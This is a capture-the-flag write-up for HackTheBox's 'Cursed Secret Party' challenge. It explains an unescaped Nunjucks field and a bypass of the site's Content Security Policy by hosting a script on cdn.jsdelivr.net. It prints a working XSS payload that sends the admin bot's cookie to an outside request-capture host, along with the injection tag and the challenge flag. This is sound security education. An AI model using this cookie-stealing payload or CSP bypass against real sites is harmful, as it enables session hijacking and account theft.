Cursed Secret Party - HTB Hack The Boo CTF 2022
Introduction
This is a write-up for the Cursed Secret Party challenge at Hack The Boo CTF 2022 hosted by HackTheBox. I will explain how I approached and solved this challenge.
Challenge
When we visit the challenge page, you will see a form were you can submit a request to join the Halloween Party. After submitting the form we get a message saying: "Your request will be reviewed by our team!". Other than that there was nothing else interesting to find. But luckily the source code was provided for this challenge.
When we look at the source code we can see that the flag of this challenge is stored inside the JWT (JSON Web Token) cookie in a headless puppeteer browser. It is basicly a bot with admin rights which visits the /admin
page everytime we submit a request.
The /admin
endpoint shows all the party request and can only be visited by the admin.
router.get('/admin', AuthMiddleware, (req, res) => {
if (req.user.user_role !== 'admin') {
return res.status(401).send(response('Unauthorized!'));
}
return db.get_party_requests()
.then((data) => {
res.render('admin.html', { requests: data });
});
});
Then I looked at how the admin page is rendered. It turns out the page is rendered using Nunjucks, which is a popular templating engine for JavaScript. When we look at the admin.html
file we can see that | safe
is used for the Halloween Name. This means that Nunjucks will not escape this output and will also render HTML input.
<div class="container" style="margin-top: 20px">
{% for request in requests %}
<div class="card">
<div class="card-header"> <strong>Halloween Name</strong> : {{ request.halloween_name | safe }} </div>
<div class="card-body">
<p class="card-title"><strong>Email Address</strong> : {{ request.email }}</p>
<p class="card-text"><strong>Costume Type </strong> : {{ request.costume_type }} </p>
<p class="card-text"><strong>Prefers tricks or treat </strong> : {{ request.trick_or_treat }} </p>
<button class="btn btn-primary">Accept</button>
<button class="btn btn-danger">Delete</button>
</div>
</div>
{% endfor %}
</div>
So far, it looks like we are supposed to perform an (Cross-site Scripting) XSS attack on the bot. But there was one thing that caught my attention which is the Content Security Policy (CSP).
The Content-Security-Policy
prevents the browser from fetching content from unspecified sources.
app.use(function (req, res, next) {
res.setHeader(
"Content-Security-Policy",
"script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
);
next();
});
Bypassing CSP
In this case we are only allowed to fetch scripts from the same origin (self
) or from https://cdn.jsdelivr.net
. I used Google's CSP Evaluator to check there are any security issues with this CSP.
It appears that "cdn.jsdelivr.net" is known to host JSONP endpoints which allow to bypass this CSP. But how can we host our own content on the CDN? After a quick Google search I found that you can use https://www.jsdelivr.com/github to migrate links from GitHub to jsDelivr.
Stealing cookie of admin
I hosted this simple XSS payload on GitHub and made it available on jsDelivr:
fetch("http://9mjrsoro.requestrepo.com/?" + document.cookie);
The payload makes a request requestrepo.com with the document cookie. With requestrepo.com we can see all the HTTP requests made to the URL. So if the payload executes, we should a request with the cookie.
<script src=https://cdn.jsdelivr.net/gh/username/repo@main/xss.js></script>
So we can use the payload above as the Halloween name and fill in the rest of the form normally. Now we have to wait for the bot to execute our payload. And... we get a request on requestrepo!
Now we can use a website like jwt.io to decode the JWT session cookie and we get the flag!
HTB{cdn_c4n_byp4ss_c5p!!}